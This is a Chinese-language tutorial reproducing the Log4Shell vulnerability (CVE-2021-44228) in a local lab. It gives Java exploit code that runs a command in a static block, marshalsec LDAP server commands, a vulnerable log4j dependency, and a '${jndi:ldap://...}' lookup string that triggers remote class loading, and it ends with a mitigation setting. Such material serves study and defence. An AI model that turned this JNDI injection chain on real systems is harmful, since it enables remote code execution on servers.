浅浅了解一下log4j。
log4j是apache著名的开源日志框架,log4j是log4j2的前身。Log4j主要由 Loggers (日志记录器)、Appenders(输出控制器) 和 Layout(日志格式化器) 组成。其中 Loggers 控制日志的输出以及输出级别;Appenders 指定日志的输出方式(输出到控制台、文件等);Layout 控制日志信息的输出格式。
JNDI是Java Naming and Directory Interface(JAVA命名和目录接口)的英文简写,它是为JAVA应用程序提供命名和目录访问服务的API(Application Programing Interface,应用程序编程接口)。
JNDI主要由JNDI API 和JNDI SPI两部分组成。
Java应用程序通过JNDI API访问目录服务。
JNDI API会调用Naming Manager实例化JNDI SPI。
调用JNDI的API应用程序可以定位资源和其他程序对象。
JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA 。
RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。
漏洞形成的原因:log4j引入jndi的原因,可以更方便地获取一些可打印的对象进行日志统计 。 所以log4j支持的${jndi:xxxx},支持jndi进行lookup来寻找对象并打印。
回归正题:
Log4j2漏洞复现(CVE-2021-44228)
影响范围:Apache Log4j 2.x <= 2.15.0。
远程代码:
Exploit.java
import java.io.IOException;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
编译成class文件(Open in——>Explorer),上传到PHPstudy 的/www目录下。
准备一个LDAP服务器。
首先我们使用java 开源项目marshalsec,,快速搭建jndi相关server,ldap,rmi。
链接:https://pan.baidu.com/s/18bgwtishw0tP_7ZnDWaJ3w
提取码:1111
需要安装maven依赖
链接:https://pan.baidu.com/s/18siTyeZX5C_OsoDM8-Binw
提取码:1111
配置环境变量:
编译:
进入到marshalsec文件夹输入如下命令:
mvn clean package -DskipTests
mvn "-Dmaven.test.skip=true" -P
在启动LDAP服务器之前需要一个http服务器(此处是小皮面板phpstudy):
管理打开根目录:
在根目录中上传一个Exploit.class文件。
Exploit.class由Exploit.java编译而来。
import java.io.IOException;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
如何编译:在编译文件的当前目录右键打开
将.class文件复制到phpstudy的根目录.
启动小皮面板:
启动LDAP服务器:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/test/#Exploit 1389
http://127.0.0.1:80 指http服务地址,Exploit代表Exploit.class文件 ,1389 指ldap服务的端口.
可以在这里修改LDAP端口号。
建立LDAP的客户端:
注意java Version 8与JDK一致,管理工具Maven.
在pom.xml中添加log4j依赖。
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
建立log4j.java
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("${java.os}");
logger.error("${jndi:ldap://127.0.0.1:1389/test}");
}
}
运行
复现成功:
以下我是配置IDEA中出现的问题:
关键在
Project bytecode version 选择与JDK对应的版本。还有Moudle中的版本。先Apply——>ok.
同理:
补救措施:
log4j2.formatMsgNoLookups=true
按照官方api解释说明,当这个值为true时,就不执行lookup。